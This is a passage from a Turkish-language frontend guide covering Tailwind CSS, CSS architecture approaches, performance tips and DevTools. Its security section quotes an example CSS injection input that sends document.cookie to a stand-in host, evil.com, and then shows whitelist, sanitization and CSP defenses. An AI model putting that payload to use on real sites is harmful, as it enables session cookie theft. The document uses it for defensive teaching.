// Container queries destegi
require('@tailwindcss/container-queries'),
],
}<!-- @tailwindcss/typography ornegi -->
<article class="prose prose-lg dark:prose-invert max-w-none">
<h1>Blog Yazisinizin Basligi</h1>
<p>Bu metin otomatik olarak guzel tipografi stillerine sahip olur.</p>
<pre><code>const x = 42;</code></pre>
<blockquote>Alintilar da stillendirilir.</blockquote>
</article>
<!-- @tailwindcss/forms ornegi -->
<input type="text" class="rounded-md border-gray-300 shadow-sm
focus:border-blue-500 focus:ring-blue-500" />
<!-- @tailwindcss/aspect-ratio ornegi -->
<div class="aspect-w-16 aspect-h-9">
<iframe src="https://youtube.com/embed/..." class="rounded-lg"></iframe>
</div>@apply (Ne Zaman Kullan, Ne Zaman Kullanma)
/* src/index.css */
@layer components {
/* IYI: Cok tekrar eden, sabit UI pattern'leri icin */
.btn {
@apply px-4 py-2 rounded-lg font-medium transition-all;
}
.btn-primary {
@apply btn bg-blue-600 text-white hover:bg-blue-700 focus:ring-4 focus:ring-blue-300;
}
.btn-secondary {
@apply btn bg-gray-100 text-gray-700 hover:bg-gray-200;
}
.btn-outline {
@apply btn border-2 border-blue-600 text-blue-600 hover:bg-blue-50;
}
/* IYI: Form input base stili */
.input-base {
@apply w-full px-4 py-2.5 border border-gray-300 rounded-lg
focus:ring-2 focus:ring-blue-500 focus:border-blue-500
outline-none transition-shadow;
}
}
@layer utilities {
/* Custom utility */
.text-balance {
text-wrap: balance;
}
}<!-- Kullanim -->
<button class="btn-primary">Kaydet</button>
<button class="btn-secondary">Iptal</button>
<input type="text" class="input-base" />Ne zaman @apply kullanMAyin:
- Sadece 1-2 yerde gecen stiller için (inline yazin)
- Responsive veya state variant'lari cok fazlaysa (HTML'de yazin)
- Component framework'u varsa (React/Vue component'i olarak yazin)
Arbitrary Values
<!-- Tam deger belirtme (design system disinda) -->
<div class="w-[137px]">137px genislik</div>
<div class="h-[calc(100vh-64px)]">Viewport - header</div>
<div class="top-[117px]">117px ust mesafe</div>
<div class="bg-[#1da1f2]">Twitter mavisi</div>
<div class="text-[22px]">22px font boyutu</div>
<div class="grid-cols-[200px_1fr_100px]">Custom grid</div>
<div class="p-[clamp(1rem,3vw,2rem)]">Responsive padding</div>
<!-- Arbitrary property -->
<div class="[mask-type:luminance]">Mask type</div>
<div class="[text-wrap:balance]">Text wrap balance</div>
<!-- Arbitrary variant -->
<div class="[&>*]:p-4">Tum direkt cocuklara p-4</div>
<div class="[&_p]:mt-4">Tum ic p elementlerine mt-4</div>
<div class="group-[.is-active]:block">Group active state</div>Custom Utility Oluşturma
// tailwind.config.js
const plugin = require('tailwindcss/plugin')
module.exports = {
plugins: [
plugin(function({ addUtilities, addComponents, theme }) {
// Custom utilities
addUtilities({
'.text-shadow-sm': {
'text-shadow': '0 1px 2px rgba(0, 0, 0, 0.1)',
},
'.text-shadow-md': {
'text-shadow': '0 2px 4px rgba(0, 0, 0, 0.15)',
},
'.text-shadow-none': {
'text-shadow': 'none',
},
'.scrollbar-hide': {
'-ms-overflow-style': 'none',
'scrollbar-width': 'none',
'&::-webkit-scrollbar': {
display: 'none',
},
},
})
// Custom components
addComponents({
'.card': {
backgroundColor: theme('colors.white'),
borderRadius: theme('borderRadius.xl'),
padding: theme('spacing.6'),
boxShadow: theme('boxShadow.md'),
},
})
}),
],
}13) Tailwind vs Bootstrap vs Styled Components
| Özellik | Tailwind CSS | Bootstrap | Styled Components |
|---|---|---|---|
| Yaklasim | Utility-first | Component-based | CSS-in-JS |
| Öğrenme egrisi | Orta (class isimleri) | Düşük (hazir bilesenler) | Orta (JS + CSS) |
| Bundle size | Küçük (purge ile) | Büyük (~200KB) | Orta (runtime) |
| Customization | Cok yüksek (config) | Sınırlı (SCSS vars) | Cok yüksek (JS) |
| React uyumu | Iyi | Orta (react-bootstrap) | Mükemmel (native) |
| Vue uyumu | Iyi | Orta (bootstrap-vue) | Zayif |
| SSR destegi | Mükemmel (static CSS) | Iyi | Ekstra config gerekir |
| Design sistemi | Kolay olusturulur | Hazir gelir | Manuel olusturulur |
| Responsive | Kolay (prefix) | Kolay (grid system) | Manuel |
| Dark mode | Dahili (dark: prefix) | Manuel / SCSS | Manuel (ThemeProvider) |
| JavaScript bagimliligi | Yok | Var (dropdowns, modals) | Var (React) |
| Dosya boyutu (prod) | ~10-30KB | ~150-200KB | ~15KB + runtime |
| Community | Cok büyük, hızlı buyuyor | Cok büyük, olgun | Büyük, React odakli |
Ne zaman hangisi?
- Tailwind: Custom tasarim, performans onceligi, herhangi bir framework
- Bootstrap: Hızlı prototipleme, admin panelleri, ozel tasarim gereksiz
- Styled Components: React projesi, dinamik stiller, theme sistemi
14) CSS Architecture
BEM (Block__Element--Modifier)
/* Block */
.card { }
/* Element (block'un parcasi) */
.card__title { }
.card__body { }
.card__image { }
.card__footer { }
/* Modifier (varyasyon) */
.card--featured { }
.card--compact { }
.card__title--large { }
/* Ornek */
.card {
background: white;
border-radius: 8px;
overflow: hidden;
}
.card__image {
width: 100%;
height: 200px;
object-fit: cover;
}
.card__title {
font-size: 1.25rem;
font-weight: 600;
margin-bottom: 8px;
}
.card__title--large {
font-size: 1.5rem;
}
.card--featured {
border: 2px solid #3b82f6;
box-shadow: 0 4px 12px rgba(59, 130, 246, 0.2);
}<div class="card card--featured">
<img class="card__image" src="/img.jpg" alt="" />
<div class="card__body">
<h3 class="card__title card__title--large">Baslik</h3>
<p class="card__text">Icerik</p>
</div>
<div class="card__footer">Footer</div>
</div>Utility-First (Tailwind Yaklasimi)
<!-- Ayni card, utility class'lar ile -->
<div class="bg-white rounded-lg overflow-hidden border-2 border-blue-500
shadow-lg shadow-blue-500/20">
<img class="w-full h-52 object-cover" src="/img.jpg" alt="" />
<div class="p-6">
<h3 class="text-xl font-semibold mb-2">Baslik</h3>
<p class="text-gray-600">Icerik</p>
</div>
<div class="px-6 py-4 border-t border-gray-100">Footer</div>
</div>CSS Modules (React / Vue Scoped Styles)
/* Card.module.css */
.card {
background: white;
border-radius: 8px;
overflow: hidden;
}
.title {
font-size: 1.25rem;
font-weight: 600;
}
.featured {
border: 2px solid #3b82f6;
}// React ile kullanim
import styles from './Card.module.css';
function Card({ featured, title, children }) {
return (
<div className={`${styles.card} ${featured ? styles.featured : ''}`}>
<h3 className={styles.title}>{title}</h3>
{children}
</div>
);
}<!-- Vue ile scoped style -->
<template>
<div :class="[$style.card, featured && $style.featured]">
<h3 :class="$style.title">{{ title }}</h3>
<slot />
</div>
</template>
<style module>
.card {
background: white;
border-radius: 8px;
}
.title {
font-size: 1.25rem;
font-weight: 600;
}
.featured {
border: 2px solid #3b82f6;
}
</style>CSS-in-JS (Styled Components, Emotion)
import styled from 'styled-components';
const Card = styled.div`
background: white;
border-radius: 8px;
overflow: hidden;
border: ${props => props.$featured ? '2px solid #3b82f6' : 'none'};
box-shadow: ${props => props.$featured
? '0 4px 12px rgba(59, 130, 246, 0.2)'
: '0 1px 3px rgba(0, 0, 0, 0.1)'};
`;
const Title = styled.h3`
font-size: 1.25rem;
font-weight: 600;
margin-bottom: 8px;
`;
// Kullanim
function ProductCard({ product }) {
return (
<Card $featured={product.isFeatured}>
<Title>{product.name}</Title>
<p>{product.description}</p>
</Card>
);
}Karar Tablosu
| Durum | Önerilen Yaklasim |
|---|---|
| Küçük/orta proje, hızlı geliştirme | Tailwind CSS |
| Büyük takim, cok sayida gelistirici | BEM + CSS Modules |
| React projesi, dinamik stiller | Styled Components / Emotion |
| Vue projesi | Tailwind veya Scoped Styles |
| Design system / component library | CSS Modules + Tailwind |
| Admin panel, hızlı prototip | Bootstrap veya Tailwind |
| Performans kritik uygulama | Tailwind (zero-runtime) |
15) Güvenlik
CSS Injection
Kullanici tarafindan girilen CSS degerleri tehlikeli olabilir.
/* TEHLIKE: Kullanici input'u dogrudan CSS'e ekleme */
/* Eger kullanici su sekilde input girerse: */
/* "; background: url('https://evil.com/steal?cookie=' + document.cookie); " */
/* YANLIS — kullanici degerini dogrudan kullanmak */
.user-element {
color: var(--user-color); /* Kullanici kontrolundeyse riskli */
}// YANLIS — kullanici input'unu dogrudan style olarak kullanma
element.style.cssText = userInput; // XSS riski
// DOGRU — beyaz liste (whitelist) ile kontrol
const allowedColors = ['red', 'blue', 'green', '#333', '#fff'];
const safeColor = allowedColors.includes(userColor) ? userColor : '#333';
element.style.color = safeColor;
// DOGRU — CSS custom property ile sinirli deger
const sanitizeColor = (color) => {
// Sadece hex renk kodlarini kabul et
const hexPattern = /^#[0-9a-fA-F]{3,8}$/;
return hexPattern.test(color) ? color : '#333333';
};
document.documentElement.style.setProperty(
'--user-color',
sanitizeColor(userInput)
);Style Attribute Sanitization
// YANLIS — sanitize etmeden style attribute kullanma
<div style={`background: ${userInput}`}> // Tehlikeli
// DOGRU — React'te style objesi kullanma (otomatik sanitize)
<div style={{ backgroundColor: sanitizedColor }}> // Guvenli
// DOGRU — DOMPurify ile HTML sanitization
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_ATTR: ['class'], // style attribute'u dahil etme
});
// DOGRU — CSP header ile inline style'lari kisitlama
// Content-Security-Policy: style-src 'self' 'nonce-abc123'Temel kurallar:
- Kullanici girdisini asla dogrudan CSS'e eklemeyin
styleattribute'u yerine class kullanin- Dinamik degerler için beyaz liste (whitelist) uygulayim
- CSP (Content Security Policy) header'lari kullanin
innerHTMLvecssText'e kullanici verisi yapistirmayin
16) Tips
Specificity Savasindan Kacinin
/* KOTU — specificity savaslari */
#main .content div.card > h3.title { color: blue; }
/* Bunu override etmek icin daha yuksek specificity gerekir */
/* KOTU — !important zincirleri */
.title { color: red !important; }
.title.active { color: blue !important; } /* Artik bu da !important */
/* IYI — duz, dusuk specificity */
.card-title { color: blue; }
.card-title.is-active { color: green; }rem vs px
/* rem tercih edin — accessibility icin onemli */
/* Kullanici tarayicida font boyutunu degistirdiginde rem olceklenir */
/* IYI */
.heading { font-size: 2rem; } /* 32px (kullanici ayarina uyar) */
.text { font-size: 1rem; } /* 16px (kullanici ayarina uyar) */
.spacing { padding: 1.5rem; } /* 24px */
/* px sadece su durumlarda kullanin: */
.border { border: 1px solid #ccc; } /* Border genisligi */
.shadow { box-shadow: 0 2px 4px rgba(0,0,0,0.1); } /* Golge */CSS Reset / Normalize
/* Tailwind Preflight — modern CSS reset */
/* Tailwind bunu otomatik uygular (@tailwind base;) */
/* Manuel reset gerekiyorsa: */
*, *::before, *::after {
box-sizing: border-box;
margin: 0;
padding: 0;
}
html {
-moz-text-size-adjust: none;
-webkit-text-size-adjust: none;
text-size-adjust: none;
}
body {
min-height: 100vh;
line-height: 1.5;
-webkit-font-smoothing: antialiased;
}
img, picture, video, canvas, svg {
display: block;
max-width: 100%;
}
input, button, textarea, select {
font: inherit;
}
p, h1, h2, h3, h4, h5, h6 {
overflow-wrap: break-word;
}Naming Conventions
/* BEM — blok__element--modifier */
.search-form { }
.search-form__input { }
.search-form__button { }
.search-form__button--disabled { }
/* Utility — tek amacli class (Tailwind yaklasimi) */
.text-center { text-align: center; }
.mt-4 { margin-top: 1rem; }
.flex { display: flex; }
/* Functional — isleve gore isimlendirme */
.is-active { }
.has-error { }
.is-loading { }
.is-hidden { }Performans
/* will-change — animasyon oncesi ipucu */
.card {
will-change: transform;
/* Hover'dan once GPU layer hazirligi */
}
.card:hover {
transform: translateY(-4px);
}
/* Dikkat: will-change'i gereksiz kullanmayin — GPU bellek tuketir */
/* contain — render optimizasyonu */
.widget {
contain: layout style paint;
/* Bu elementin ic degisiklikleri dis dunyayi etkilemez */
}
/* content-visibility — gorunmeyen elemanlari render etme */
.article-section {
content-visibility: auto;
contain-intrinsic-size: auto 500px;
/* Viewport disindaki section'lar render edilmez */
}
/* Render performansi */
/* IYI: Sadece composite property'ler animate edin */
.optimized {
transition: transform 0.3s, opacity 0.3s;
/* GPU uzerinde calisir — 60fps */
}
/* KOTU: Layout property'leri animate etmeyin */
.slow {
transition: width 0.3s, height 0.3s, margin 0.3s;
/* Her frame'de layout recalculation — yavas */
}DevTools ile CSS Debugging
Chrome DevTools ipuclari:
- Elements paneli: Herhangi bir elemente sag tiklayip "Inspect" deyin
- Computed tab: Hesaplanmis (final) CSS degerlerini gorun
- Box model: Computed tab'da margin, border, padding degerlerini gorsel olarak inceleyin
- Force state:
:hover,:focus,:activedurumlarini zorlayin (element uzerine sag tik > Force state) - CSS coverage: Ctrl+Shift+P > "Coverage" > kullanilmayan CSS'i bulun
- Flex/Grid inspector: Layout overlay'ini acarak flex ve grid duzenleri gorsellestirilir
- Changes tab: Yaptiginiz CSS degisikliklerini diff olarak gorun
- Animations panel: Animasyonlari yavaslatip adim adim izleyin
Klavye kisayollari:
- F12 veya Ctrl+Shift+I — DevTools ac
- Ctrl+Shift+C — Element sec modu
- Ctrl+Shift+M — Responsive modu (mobil gorunum)Ilgili Rehberler
Frontend
- Frontend Genel Bakış
- JavaScript & TypeScript
- TypeScript Rehberi
- React Rehberi
- Next.js Rehberi
- Vue.js Rehberi
- Web Performance
- Three.js Rehberi